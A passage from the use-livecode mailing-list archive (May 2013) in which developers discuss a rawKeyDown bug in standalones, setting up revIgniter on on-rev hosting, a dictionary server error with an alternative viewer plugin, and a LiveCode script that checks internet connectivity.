05/19/2013 09:23 AM, Richmond wrote: > > Bug report or no bug report, I have to work with LC 4.5. > > A sorted out bug would appear in a later version; one for which I, > currently (and many others, I suspect) do not have the money to buy. > > Therefore, from my point of view, at least, these sorts of work arounds > are very important. > > Richmond. Richmond, Of course it's great to have a workaround and it's admirable that you shared this one! I understand what you're saying about versions and for people who are using an older version for which a bugfix will likely never be made available this is invaluable. However, a bug fix is obviously more ideal than a workaround and users of future versions, which could include you at some point, are better served when fixes are implemented. It does seem you have uncovered a really helpful piece of information regarding this bug that could lead to a fix. Do you have an account at ? Warren From richmondmathewson at gmail.com Sun May 19 10:48:13 2013 From: richmondmathewson at gmail.com (Richmond) Date: Sun, 19 May 2013 17:48:13 +0300 Subject: rawKeyDown in standalones Message-ID: <5198E62D.4040401@gmail.com> This is a cross platform problem (well, Mac, Windows and Linux). In a stack one can trap keyDowns from the numeric keys that run along the top of a standard keyboard like this: on rawKeyDown RK if RK = 49 then send "mouseUp" to button "DO_SOME_SCRIPT" end if end rawKeyDown [ 49 is the keycode for '1' ] and the code in button "DO_SOME_SCRIPT" will be executed. In standalones it will NOT; end users will get nothing, or a '1' in their textField. Richmond. From richmondmathewson at gmail.com Sun May 19 10:48:58 2013 From: richmondmathewson at gmail.com (Richmond) Date: Sun, 19 May 2013 17:48:58 +0300 Subject: Unicode display on Linux. In-Reply-To: <5198E5AE.3060607@warrensweb.us> References: <5198B750.9060107@gmail.com> <5198CE74.5030104@warrensweb.us> <5198E053.3070100@gmail.com> <5198E5AE.3060607@warrensweb.us> Message-ID: <5198E65A.9030100@gmail.com> On 05/19/2013 05:46 PM, Warren Samples wrote: > On 05/19/2013 09:23 AM, Richmond wrote: >> >> Bug report or no bug report, I have to work with LC 4.5. >> >> A sorted out bug would appear in a later version; one for which I, >> currently (and many others, I suspect) do not have the money to buy. >> >> Therefore, from my point of view, at least, these sorts of work arounds >> are very important. >> >> Richmond. > > > Richmond, > > Of course it's great to have a workaround and it's admirable that you > shared this one! I understand what you're saying about versions and > for people who are using an older version for which a bugfix will > likely never be made available this is invaluable. However, a bug fix > is obviously more ideal than a workaround and users of future > versions, which could include you at some point, are better served > when fixes are implemented. It does seem you have uncovered a really > helpful piece of information regarding this bug that could lead to a fix. > > Do you have an account at > ? Obviously it is high time I did! > > Warren > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From keith.clarke at clarkeandclarke.co.uk Sun May 19 10:51:27 2013 From: keith.clarke at clarkeandclarke.co.uk (Keith Clarke) Date: Sun, 19 May 2013 15:51:27 +0100 Subject: RevIgniter & current on-rev LiveCode server version In-Reply-To: <5C03B294-86A1-4F90-BCA6-9F38541211AE@revigniter.com> References: <2D422120-4E69-4C54-BFC5-BD33AF53D35D@clarkeandclarke.co.uk> <5C03B294-86A1-4F90-BCA6-9F38541211AE@revigniter.com> Message-ID: <3516FAA9-E478-4EB0-9849-7D5EF5C6F455@clarkeandclarke.co.uk> Thanks for resending, Ralf - though I did see your original yesterday(?!?) Following your advice, I've been able to access revIgniter from myName.on-rev.com/index.lc by installing the contents of the zip file into my docroot myname.on-rev.com. For this, I had to edit index.lc as follow: system = /home/myName/revIgniter/system application - /home/myName/revIgniter/system/application This is great but I want to use revIgniter from a sub-folder of one of my add-on domains and I'm getting 404 errors at URL URL http://myDomain.com/myFolder/index.lc which resolves to folder /home/myName.on-rev.com/public_html/myDomain/myFolder I'm not sure if this is a problem with path definitions in the index.lc file in the sub-domain folder (currently the same as above) and/or access permissions. Maybe I need a .htaccess file or something on my subdomain to be able to access revIgniter folders / files 'above' the add-on domain's web root 'up' to my account's docroot. Any ideas gratefully received. Best, Keith.. On 19 May 2013, at 15:34, Ralf Bitter wrote: > > Hi Keith, > > seems that yesterday my response didn't go through, > so here it is again: > > The bug mentioned in the user guide applies only to > installations on Lion and Mountain Lion. It is > fixed in LiveCode Server release: 6.0.0-rc-1. > > This means, revIgniter should work on on-rev.com without > flaws. I would try to start with a clean root folder > without any Apache directives in .htaccess. Then all > you have to do (really) is to copy the files and folders > included to server root. Check your installation using > an URL like "yourSite.on-rev.com/index.lc". > > Best > > Ralf > > > > On 18.05.2013, at 11:07, Keith Clarke wrote: > >> Hi folks, >> Can any revIgniter expert please advise whether the current version of LiveCode Server installed on pancake.on-rev.com is compatible with revIgniter? >> >> I've installed but getting 404 errors on the index.lc page under revIgniter and the user guide's troubleshooting section mentions a bug in some LiveCode Server versions. >> >> I don't see any LiveCode server info in CPanel and can't find any documentation on how to check the server version from a .lc file. >> >> Is there a statement similar to that used to check PHP parameters - like 'put server version' ? >> Best, >> Keith.. > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pete at lcsql.com Sun May 19 12:47:25 2013 From: pete at lcsql.com (Peter Haworth) Date: Sun, 19 May 2013 09:47:25 -0700 Subject: Dictionary Server Error In-Reply-To: <715B69C0-9073-4337-AF41-F6A048571360@jhj.com> References: <715B69C0-9073-4337-AF41-F6A048571360@jhj.com> Message-ID: I highly recommend using Bjornke's BvG Docu 2 plugin as an alternative to the IDE dictionary viewer. It's much more flexible, and it's free. I never use the IDE dictionary viewer these days. Pete lcSQL Software On Sat, May 18, 2013 at 7:54 PM, Jerry Jensen wrote: > Yes. Since the server "upgrade". This is bad. It REALLY needs fixing ASAP. > Try to give good demo with this happening! > > Server people, wake up! Odin is down. http://on-rev.com is 404. > > > On May 18, 2013, at 7:37 PM, Shawn Blc wrote: > > > When I click on the dictionary I'm getting something that looks like the > > following in the message box (this goes on for several lines). Anyone > else > > getting this error? It's a pain in the rear. Any fix? > > > > The following server error was encountered: > > > > --------------------------------------------------------- > > > > pUrl: > > > http://developer.runrev.com/revonline.irev?request=H4sIAAAAAAAAA2NlYGBgYgUS2QWJRYm5qSWpRcVAHgMLE5AQS8ksSk0uyczPAwu5uAY7MwMZ%0D%0AQsn5pXklDA4qDGAAUimeB9QL4nAVlJYoJGXmJRZVgsRFSioLwOLsyfm5uYl5KWDV0olwQ3ly%0D%0AMotLnIFyqXklxQwAcQ0NB44AAAA%3D > > > > pStatus: cached > > > > UrlData: > > > > > > > > > > > > > > > > > > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From shawnlivecode at gmail.com Sun May 19 12:56:53 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Sun, 19 May 2013 11:56:53 -0500 Subject: How to clear the cache In-Reply-To: <5198DC52.1040604@tweedly.net> References: <5198DC52.1040604@tweedly.net> Message-ID: Alex, I added your idea of varying the URL each time, but still not able to get the script to work correctly. See below. For instance, on my mac, when I disable wifi I shouldn't be able to connect, when I enable my wifi I should be able to connect. What's wrong with my script? *on* mouseUp *add* 1 to tCount *put* URL ("www.google.com?count=" & tCount) into pURL *get* URL pURL *put* the result into tResult *if* tResult is not empty *then* *put* "disconnected" && tResult into field "fldStatus" *show* image "imageRed" *hide* image "imageGreen" *return* false *else* *put* "connected" into field "fldStatus" *show* image "imageGreen" *hide* image "imageRed" *end* *if* *end* mouseUp On Sun, May 19, 2013 at 9:06 AM, Alex Tweedly wrote: > > unload URL tURL > > or if you prefer make the URL vary each time > > add 1 to tCount > put ("http://mydomain.com/**theurlname.lc?count=" > & tCount) into tURL > and use that URL. > > -- Alex. > > > > On 19/05/2013 12:59, Shawn Blc wrote: > >> I have a little script to check for an internet connection. Problem is >> that if I take this little script out of the preOpenCard and put it into a >> button the results are the same. It keeps the last state, regardless if I >> disconnect my wifi or not. I'm thinking that the URL that I'm connecting >> to to check for an internet connection is still in cache. >> >> How would I clear this cache? These don't work. >> clear URL >> clear cache >> >> Any help is appreciated or at least point me in the right direction. >> >> Dank. >> ______________________________**_________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/**mailman/listinfo/use-livecode >> > > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > From rabit at revigniter.com Sun May 19 12:57:29 2013 From: rabit at revigniter.com (Ralf Bitter) Date: Sun, 19 May 2013 18:57:29 +0200 Subject: RevIgniter & current on-rev LiveCode server version In-Reply-To: <3516FAA9-E478-4EB0-9849-7D5EF5C6F455@clarkeandclarke.co.uk> References: <2D422120-4E69-4C54-BFC5-BD33AF53D35D@clarkeandclarke.co.uk> <5C03B294-86A1-4F90-BCA6-9F38541211AE@revigniter.com> <3516FAA9-E478-4EB0-9849-7D5EF5C6F455@clarkeandclarke.co.uk> Message-ID: <1779ABB1-9796-4228-8B6A-9C9DE2A0A932@revigniter.com> On 19.05.2013, at 16:51, Keith Clarke wrote: > Thanks for resending, Ralf - though I did see your original yesterday(?!?) > > Following your advice, I've been able to access revIgniter from myName.on-rev.com/index.lc by installing the contents of the zip file into my docroot myname.on-rev.com. > > For this, I had to edit index.lc as follow: > system = /home/myName/revIgniter/system > application - /home/myName/revIgniter/system/application If you don't move or rename any of these folders there is no need to modify index.lc. The location of these folders are relative to the directory where your index.lc is located independent of how deep your revIgniter folder is nested. > > This is great but I want to use revIgniter from a sub-folder of one of my add-on domains and I'm getting 404 errors at URL URL http://myDomain.com/myFolder/index.lc which resolves to folder /home/myName.on-rev.com/public_html/myDomain/myFolder > > I'm not sure if this is a problem with path definitions in the index.lc file in the sub-domain folder (currently the same as above) and/or access permissions. > > Maybe I need a .htaccess file or something on my subdomain to be able to access revIgniter folders / files 'above' the add-on domain's web root 'up' to my account's docroot. > > Any ideas gratefully received. > Best, > Keith.. In this case all you have to do (really) is to define the "Base Site URL" in your configuration file like: put "http://myDomain.com/myFolder/" into gConfig["baseUrl"] It is at the top of the configuration file in system/application/config/config.lc Check your installation using an URL like: http://myDomain.com/myFolder/index.lc The next thing to do is to get rid of the need to include "index.lc" in your URIs. This is explained in detail in the user guide. Best Ralf > > On 19 May 2013, at 15:34, Ralf Bitter wrote: > >> >> Hi Keith, >> >> seems that yesterday my response didn't go through, >> so here it is again: >> >> The bug mentioned in the user guide applies only to >> installations on Lion and Mountain Lion. It is >> fixed in LiveCode Server release: 6.0.0-rc-1. >> >> This means, revIgniter should work on on-rev.com without >> flaws. I would try to start with a clean root folder >> without any Apache directives in .htaccess. Then all >> you have to do (really) is to copy the files and folders >> included to server root. Check your installation using >> an URL like "yourSite.on-rev.com/index.lc". >> >> Best >> >> Ralf >> >> >> >> On 18.05.2013, at 11:07, Keith Clarke wrote: >> >>> Hi folks, >>> Can any revIgniter expert please advise whether the current version of LiveCode Server installed on pancake.on-rev.com is compatible with revIgniter? >>> >>> I've installed but getting 404 errors on the index.lc page under revIgniter and the user guide's troubleshooting section mentions a bug in some LiveCode Server versions. >>> >>> I don't see any LiveCode server info in CPanel and can't find any documentation on how to check the server version from a .lc file. >>> >>> Is there a statement similar to that used to check PHP parameters - like 'put server version' ? >>> Best, >>> Keith.. >> >> From coiin at verizon.net Sun May 19 13:31:39 2013 From: coiin at verizon.net (Colin Holgate) Date: Sun, 19 May 2013 18:31:39 +0100 Subject: scrolling stack I made In-Reply-To: References: <6A58AF63-AA57-41CA-B65F-1F1775D54CA6@verizon.net> Message-ID: The landscape in the background is the Island of Sodor. I borrowed the layers from a menu I made for this app: https://itunes.apple.com/us/app/thomas-friends-lift-haul-collection/id641291615?mt=8 as you can see in the first screenshot. From keith.clarke at clarkeandclarke.co.uk Sun May 19 16:24:16 2013 From: keith.clarke at clarkeandclarke.co.uk (Keith Clarke) Date: Sun, 19 May 2013 21:24:16 +0100 Subject: RevIgniter & current on-rev LiveCode server version In-Reply-To: <1779ABB1-9796-4228-8B6A-9C9DE2A0A932@revigniter.com> References: <2D422120-4E69-4C54-BFC5-BD33AF53D35D@clarkeandclarke.co.uk> <5C03B294-86A1-4F90-BCA6-9F38541211AE@revigniter.com> <3516FAA9-E478-4EB0-9849-7D5EF5C6F455@clarkeandclarke.co.uk> <1779ABB1-9796-4228-8B6A-9C9DE2A0A932@revigniter.com> Message-ID: Thanks Ralf - I've now got a revIgniter instance installed safely in its own folder in my doc-root, outside of the public_html web-root and accessible from both my on-rev account web-root and a specific folder within one of my add-on domains. This on-rev set-up required settings somewhat different from the installation guide, which I'll share, in case it helps others reading the archive? To enable your on-rev account with revIgniter: Install the zip file contents into a sub-folder in your on-rev home folder, such as '/home/accountName/revIgniter' - retaining the top-level folder, to keep everything together, perhaps rename this to 'revIgniter' or similar; Optionally, for added security, rename the system sub-folder, such as 'foo'; Move the index.lc to your public_html web-root and edit it: System folder name: /home/accountName/revIgniter/foo Application Folder name: /home/accountName/revIgniter/foo/application Open URL accountName.on-rev.com to test revIgniter starts Access revIgniter from an add-on domain: Move/copy index.lc to the required folder; Edit Base Site URL in /home/accountName/revIgniter/foo/application/config/config.lc to the URL of your add-on domain's folder. Now, time to start playing! Best, Keith.. On 19 May 2013, at 17:57, Ralf Bitter wrote: > > On 19.05.2013, at 16:51, Keith Clarke wrote: > >> Thanks for resending, Ralf - though I did see your original yesterday(?!?) >> >> Following your advice, I've been able to access revIgniter from myName.on-rev.com/index.lc by installing the contents of the zip file into my docroot myname.on-rev.com. >> >> For this, I had to edit index.lc as follow: >> system = /home/myName/revIgniter/system >> application - /home/myName/revIgniter/system/application > > If you don't move or rename any of these folders there is > no need to modify index.lc. The location of these folders > are relative to the directory where your index.lc is located > independent of how deep your revIgniter folder is nested. > >> >> This is great but I want to use revIgniter from a sub-folder of one of my add-on domains and I'm getting 404 errors at URL URL http://myDomain.com/myFolder/index.lc which resolves to folder /home/myName.on-rev.com/public_html/myDomain/myFolder >> >> I'm not sure if this is a problem with path definitions in the index.lc file in the sub-domain folder (currently the same as above) and/or access permissions. >> >> Maybe I need a .htaccess file or something on my subdomain to be able to access revIgniter folders / files 'above' the add-on domain's web root 'up' to my account's docroot. >> >> Any ideas gratefully received. >> Best, >> Keith.. > > In this case all you have to do (really) is to define the "Base Site URL" > in your configuration file like: > > put "http://myDomain.com/myFolder/" into gConfig["baseUrl"] > > It is at the top of the configuration file in system/application/config/config.lc > > Check your installation using an URL like: > > http://myDomain.com/myFolder/index.lc > > > The next thing to do is to get rid of the need to include "index.lc" in your URIs. > This is explained in detail in the user guide. > > > Best > > Ralf From dsc at swcp.com Sun May 19 17:27:10 2013 From: dsc at swcp.com (Dar Scott) Date: Sun, 19 May 2013 15:27:10 -0600 Subject: Dictionary Server Error In-Reply-To: References: <715B69C0-9073-4337-AF41-F6A048571360@jhj.com> Message-ID: <121D0BAD-7217-4720-BDF5-7CDF5F6D9578@swcp.com> I found the link to BvG Docu 2 at the foot of Bjornke's email. I downloaded, opened the stack and it installed itself. Thanks for the tip. On May 19, 2013, at 10:47 AM, Peter Haworth wrote: > I highly recommend using Bjornke's BvG Docu 2 plugin as an alternative to > the IDE dictionary viewer. It's much more flexible, and it's free. I > never use the IDE dictionary viewer these days. > > Pete > lcSQL Software > > > On Sat, May 18, 2013 at 7:54 PM, Jerry Jensen wrote: > >> Yes. Since the server "upgrade". This is bad. It REALLY needs fixing ASAP. >> Try to give good demo with this happening! >> >> Server people, wake up! Odin is down. http://on-rev.com is 404. >> >> >> On May 18, 2013, at 7:37 PM, Shawn Blc wrote: >> >>> When I click on the dictionary I'm getting something that looks like the >>> following in the message box (this goes on for several lines). Anyone >> else >>> getting this error? It's a pain in the rear. Any fix? >>> >>> The following server error was encountered: >>> >>> --------------------------------------------------------- >>> >>> pUrl: >>> >> http://developer.runrev.com/revonline.irev?request=H4sIAAAAAAAAA2NlYGBgYgUS2QWJRYm5qSWpRcVAHgMLE5AQS8ksSk0uyczPAwu5uAY7MwMZ%0D%0AQsn5pXklDA4qDGAAUimeB9QL4nAVlJYoJGXmJRZVgsRFSioLwOLsyfm5uYl5KWDV0olwQ3ly%0D%0AMotLnIFyqXklxQwAcQ0NB44AAAA%3D >>> >>> pStatus: cached >>> >>> UrlData: >>> >>> >>> >>> >>> >>> >>> >>> >>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From shawnlivecode at gmail.com Sun May 19 17:30:57 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Sun, 19 May 2013 16:30:57 -0500 Subject: Dictionary Server Error In-Reply-To: <121D0BAD-7217-4720-BDF5-7CDF5F6D9578@swcp.com> References: <715B69C0-9073-4337-AF41-F6A048571360@jhj.com> <121D0BAD-7217-4720-BDF5-7CDF5F6D9578@swcp.com> Message-ID: What version of LC are you using. Does BvG Docu 2 work with 6.0.1 Build 1513 Commercial? On Sun, May 19, 2013 at 4:27 PM, Dar Scott wrote: > I found the link to BvG Docu 2 at the foot of Bjornke's email. I > downloaded, opened the stack and it installed itself. > > Thanks for the tip. > > > On May 19, 2013, at 10:47 AM, Peter Haworth wrote: > > > I highly recommend using Bjornke's BvG Docu 2 plugin as an alternative to > > the IDE dictionary viewer. It's much more flexible, and it's free. I > > never use the IDE dictionary viewer these days. > > > > Pete > > lcSQL Software > > > > > > On Sat, May 18, 2013 at 7:54 PM, Jerry Jensen wrote: > > > >> Yes. Since the server "upgrade". This is bad. It REALLY needs fixing > ASAP. > >> Try to give good demo with this happening! > >> > >> Server people, wake up! Odin is down. http://on-rev.com is 404. > >> > >> > >> On May 18, 2013, at 7:37 PM, Shawn Blc wrote: > >> > >>> When I click on the dictionary I'm getting something that looks like > the > >>> following in the message box (this goes on for several lines). Anyone > >> else > >>> getting this error? It's a pain in the rear. Any fix? > >>> > >>> The following server error was encountered: > >>> > >>> --------------------------------------------------------- > >>> > >>> pUrl: > >>> > >> > http://developer.runrev.com/revonline.irev?request=H4sIAAAAAAAAA2NlYGBgYgUS2QWJRYm5qSWpRcVAHgMLE5AQS8ksSk0uyczPAwu5uAY7MwMZ%0D%0AQsn5pXklDA4qDGAAUimeB9QL4nAVlJYoJGXmJRZVgsRFSioLwOLsyfm5uYl5KWDV0olwQ3ly%0D%0AMotLnIFyqXklxQwAcQ0NB44AAAA%3D > >>> > >>> pStatus: cached > >>> > >>> UrlData: > >>> > >>> > >>> > >>> > >>> > >>> > >>> > >>> > >>> > >>> > >>> _______________________________________________ > >>> use-livecode mailing list > >>> use-livecode at lists.runrev.com > >>> Please visit this url to subscribe, unsubscribe and manage your > >> subscription preferences: > >>> http://lists.runrev.com/mailman/listinfo/use-livecode > >> > >> > >> _______________________________________________ > >> use-livecode mailing list > >> use-livecode at lists.runrev.com > >> Please visit this url to subscribe, unsubscribe and manage your > >> subscription preferences: > >> http://lists.runrev.com/mailman/listinfo/use-livecode > >> > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From bvg at mac.com Sun May 19 17:43:08 2013 From: bvg at mac.com (=?iso-8859-1?Q?Bj=F6rnke_von_Gierke?=) Date: Sun, 19 May 2013 23:43:08 +0200 Subject: Dictionary Server Error In-Reply-To: References: <715B69C0-9073-4337-AF41-F6A048571360@jhj.com> <121D0BAD-7217-4720-BDF5-7CDF5F6D9578@swcp.com> Message-ID: <405AC4D1-D9F6-4A62-BC54-E401E7ED7154@mac.com> Should work on all recent versions. there's a weird bug since 6.0.0 when starting the LC IDE by double clicking my installation stack (so only when installing and only when the IDE isn't already running), I'm working on a new version which fixes this, and some small render issues. If you can't get it to run, just shoot me an email :) On 19.05.2013, at 23:30, Shawn Blc wrote: > What version of LC are you using. Does BvG Docu 2 work with 6.0.1 Build > 1513 Commercial? > > > > > On Sun, May 19, 2013 at 4:27 PM, Dar Scott wrote: > >> I found the link to BvG Docu 2 at the foot of Bjornke's email. I >> downloaded, opened the stack and it installed itself. >> >> Thanks for the tip. >> >> >> On May 19, 2013, at 10:47 AM, Peter Haworth wrote: >> >>> I highly recommend using Bjornke's BvG Docu 2 plugin as an alternative to >>> the IDE dictionary viewer. It's much more flexible, and it's free. I >>> never use the IDE dictionary viewer these days. >>> >>> Pete >>> lcSQL Software >>> >>> >>> On Sat, May 18, 2013 at 7:54 PM, Jerry Jensen wrote: >>> >>>> Yes. Since the server "upgrade". This is bad. It REALLY needs fixing >> ASAP. >>>> Try to give good demo with this happening! >>>> >>>> Server people, wake up! Odin is down. http://on-rev.com is 404. >>>> >>>> >>>> On May 18, 2013, at 7:37 PM, Shawn Blc wrote: >>>> >>>>> When I click on the dictionary I'm getting something that looks like >> the >>>>> following in the message box (this goes on for several lines). Anyone >>>> else >>>>> getting this error? It's a pain in the rear. Any fix? >>>>> >>>>> The following server error was encountered: >>>>> >>>>> --------------------------------------------------------- >>>>> >>>>> pUrl: >>>>> >>>> >> http://developer.runrev.com/revonline.irev?request=H4sIAAAAAAAAA2NlYGBgYgUS2QWJRYm5qSWpRcVAHgMLE5AQS8ksSk0uyczPAwu5uAY7MwMZ%0D%0AQsn5pXklDA4qDGAAUimeB9QL4nAVlJYoJGXmJRZVgsRFSioLwOLsyfm5uYl5KWDV0olwQ3ly%0D%0AMotLnIFyqXklxQwAcQ0NB44AAAA%3D >>>>> >>>>> pStatus: cached >>>>> >>>>> UrlData: >>>>> >>>>> >>>>> >>>>> >>>>> >>>>> >>>>> >>>>> >>>>> >>>>> >>>>> _______________________________________________ >>>>> use-livecode mailing list >>>>> use-livecode at lists.runrev.com >>>>> Please visit this url to subscribe, unsubscribe and manage your >>>> subscription preferences: >>>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>> >>>> >>>> _______________________________________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your >>>> subscription preferences: >>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Use an alternative Dictionary viewer: http://bjoernke.com/bvgdocu/ Chat with other RunRev developers: http://bjoernke.com/chatrev/ From capellan2000 at gmail.com Sun May 19 17:55:05 2013 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Sun, 19 May 2013 14:55:05 -0700 (PDT) Subject: scrolling stack I made In-Reply-To: References: <6A58AF63-AA57-41CA-B65F-1F1775D54CA6@verizon.net> Message-ID: <1369000505562-4665114.post@n4.nabble.com> This Scrolling Stack works really nice in Windows, too! :D -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/scrolling-stack-I-made-tp4665050p4665114.html Sent from the Revolution - User mailing list archive at Nabble.com. From pete at lcsql.com Sun May 19 18:09:36 2013 From: pete at lcsql.com (Peter Haworth) Date: Sun, 19 May 2013 15:09:36 -0700 Subject: Dictionary Server Error In-Reply-To: References: <715B69C0-9073-4337-AF41-F6A048571360@jhj.com> <121D0BAD-7217-4720-BDF5-7CDF5F6D9578@swcp.com> Message-ID: I haven't tried it with that version of LC but it's worked with every version of LC I've tried it with. Bjornke may respond but I think the only time there are isseus is if the format of the dictionary changes Pete lcSQL Software On Sun, May 19, 2013 at 2:30 PM, Shawn Blc wrote: > What version of LC are you using. Does BvG Docu 2 work with 6.0.1 Build > 1513 Commercial? > > > > > On Sun, May 19, 2013 at 4:27 PM, Dar Scott wrote: > > > I found the link to BvG Docu 2 at the foot of Bjornke's email. I > > downloaded, opened the stack and it installed itself. > > > > Thanks for the tip. > > > > > > On May 19, 2013, at 10:47 AM, Peter Haworth wrote: > > > > > I highly recommend using Bjornke's BvG Docu 2 plugin as an alternative > to > > > the IDE dictionary viewer. It's much more flexible, and it's free. I > > > never use the IDE dictionary viewer these days. > > > > > > Pete > > > lcSQL Software > > > > > > > > > On Sat, May 18, 2013 at 7:54 PM, Jerry Jensen wrote: > > > > > >> Yes. Since the server "upgrade". This is bad. It REALLY needs fixing > > ASAP. > > >> Try to give good demo with this happening! > > >> > > >> Server people, wake up! Odin is down. http://on-rev.com is 404. > > >> > > >> > > >> On May 18, 2013, at 7:37 PM, Shawn Blc > wrote: > > >> > > >>> When I click on the dictionary I'm getting something that looks like > > the > > >>> following in the message box (this goes on for several lines). > Anyone > > >> else > > >>> getting this error? It's a pain in the rear. Any fix? > > >>> > > >>> The following server error was encountered: > > >>> > > >>> --------------------------------------------------------- > > >>> > > >>> pUrl: > > >>> > > >> > > > http://developer.runrev.com/revonline.irev?request=H4sIAAAAAAAAA2NlYGBgYgUS2QWJRYm5qSWpRcVAHgMLE5AQS8ksSk0uyczPAwu5uAY7MwMZ%0D%0AQsn5pXklDA4qDGAAUimeB9QL4nAVlJYoJGXmJRZVgsRFSioLwOLsyfm5uYl5KWDV0olwQ3ly%0D%0AMotLnIFyqXklxQwAcQ0NB44AAAA%3D > > >>> > > >>> pStatus: cached > > >>> > > >>> UrlData: > > >>> > > >>> > > >>> > > >>> > > >>> > > >>> > > >>> > > >>> > > >>> > > >>> > > >>> _______________________________________________ > > >>> use-livecode mailing list > > >>> use-livecode at lists.runrev.com > > >>> Please visit this url to subscribe, unsubscribe and manage your > > >> subscription preferences: > > >>> http://lists.runrev.com/mailman/listinfo/use-livecode > > >> > > >> > > >> _______________________________________________ > > >> use-livecode mailing list > > >> use-livecode at lists.runrev.com > > >> Please visit this url to subscribe, unsubscribe and manage your > > >> subscription preferences: > > >> http://lists.runrev.com/mailman/listinfo/use-livecode > > >> > > > _______________________________________________ > > > use-livecode mailing list > > > use-livecode at lists.runrev.com > > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From alex at tweedly.net Sun May 19 18:52:19 2013 From: alex at tweedly.net (Alex Tweedly) Date: Sun, 19 May 2013 23:52:19 +0100 Subject: How to clear the cache In-Reply-To: References: <5198DC52.1040604@tweedly.net> Message-ID: <519957A3.5060900@tweedly.net> Shawn, you have a couple of issues here ... 1. (minor) if this is the entire script, then tCount is a local (i.e. handler local) variable, so it is re-created each time the handler is called, so you finish up with the same value each time. I think you ant to make it a script-local variable (i.e. declare it outside any handler) and then it retains its value from one call to the next. (I'm also paranoid, so I added a check for it not being a number). And since it's a script-local, I renamed it to sCount :-) 2. in line 3, you have an extra keyword "URL" You have *put* URL ("www.google.com?count=" & tCount) into pURL and you need to simply have *put* ("www.google.com?count=" & tCount) into pURL We are just trying to build up the string of the URL - what you had was trying to fetch it. 3. (trivial) I renamed pURL to tURL just to follow convention - it's a local variable, not a parameter :-) I changed those - and a couple of other things for my testing, and got the following script which seems to work OK; fails with "invalid host address" when wifi is switched off. local sCount on mouseUp if sCount is not a number then put 1 into sCount else add 1 to sCount end if put ("http://www.google.com/?count=" & sCount) into tURL put the millisecs && tURL &CR& the Result &CR&CR after field "F" -- just for testing get URL tURL if the result is empty then put the millisecs &&"success" &CR after field "F" else put the millisecs && the result &CR after field "F" end if end mouseUp -- Alex. On 19/05/2013 17:56, Shawn Blc wrote: > Alex, > > I added your idea of varying the URL each time, but still not able to get > the script to work correctly. See below. > > For instance, on my mac, when I disable wifi I shouldn't be able to > connect, when I enable my wifi I should be able to connect. > > What's wrong with my script? > > > *on* mouseUp > > *add* 1 to tCount > > *put* URL ("www.google.com?count=" & tCount) into pURL > > *get* URL pURL > > *put* the result into tResult > > *if* tResult is not empty *then* > > *put* "disconnected" && tResult into field "fldStatus" > > *show* image "imageRed" > > *hide* image "imageGreen" > > *return* false > > *else* > > *put* "connected" into field "fldStatus" > > *show* image "imageGreen" > > *hide* image "imageRed" > > *end* *if* > > *end* mouseUp > > > On Sun, May 19, 2013 at 9:06 AM, Alex Tweedly wrote: > >> unload URL tURL >> >> or if you prefer make the URL vary each time >> >> add 1 to tCount >> put ("http://mydomain.com/**theurlname.lc?count=" >> & tCount) into tURL >> and use that URL. >> >> -- Alex. >> >> >> >> On 19/05/2013 12:59, 